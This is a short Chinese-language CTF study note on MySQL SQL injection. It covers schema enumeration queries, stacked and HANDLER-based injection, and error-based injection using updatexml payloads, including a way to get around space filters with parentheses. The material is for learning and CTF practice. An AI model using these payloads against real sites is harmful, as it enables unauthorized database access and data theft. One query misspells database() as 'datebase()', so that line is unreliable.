CTF记录 SQL注入
CTF学习记录-SQL注入
MYSQL
常用命令
#当前用户
select user();
#当前使用的数据库
select datebase() ;
#当前全部数据库名
select group_concat(schema_name) from information_schema.schemata;
#x数据库下的表
select group_concat(table_name) from information_schema.tables where table_schema='x';
#x数据库下的y表的列
select group_concat(column_name) from information_schema.columns where table_schema='x' and table_name='y'
堆叠注入
handler注入可以使用show命令和handler的情况下。
先试用show命令获取信息
- show tables或show tables from database_name; — 显示当前数据库中所有表的名称。
- show databases; — 显示mysql中所有数据库的名称。
- show columns from table_name from database_name; 或show columns from database_name.table_name; — 显示表中列名称。
用table命令读取表
- Handler table OPEN;Handler table read first;Handler table close
报错注入
updatexml函数
updatexml(xml_doument,XPath_string,new_value) 第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc 第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。 第三个参数:new_value,String格式,替换查找到的符合条件的数据
实际使用中使用第二个参数。范例如下:
updatexml(1,concat(0x7e,version()),0)
updatexml(1,concat(0x7e,database()),0)
concat在需要的数据前面加上一个XPATH校验失败的参数 正常使用0x7e(~ 的16进制)
updatexml(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like(%27geek%27))),1)
空格限制情况下可以用()替代